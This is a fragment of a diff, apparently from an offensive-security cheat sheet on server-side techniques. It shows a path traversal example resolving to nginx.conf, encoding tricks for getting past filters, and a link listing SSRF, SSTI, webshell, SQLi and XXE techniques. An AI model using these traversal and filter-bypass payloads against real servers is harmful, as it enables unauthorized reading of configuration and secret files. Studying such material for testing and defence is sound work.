# Filesystem resolves to /public/../nginx.conf → /nginx.conf
|
|
373
|
+
```
|
|
374
|
+
**Also try:** `%2e` for dots, double encoding `%252f`, backslash `\` on Windows.
|
|
375
|
+
|
|
376
|
+
---
|
|
377
|
+
|
|
378
|
+
See [server-side-advanced-4.md](server-side-advanced-4.md) for WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, wget CRLF SMTP, Gopher→MySQL SQLi, React Server Components RCE, AMQP/TLS interception, CairoSVG XXE, and Bazaar repo reconstruction.
|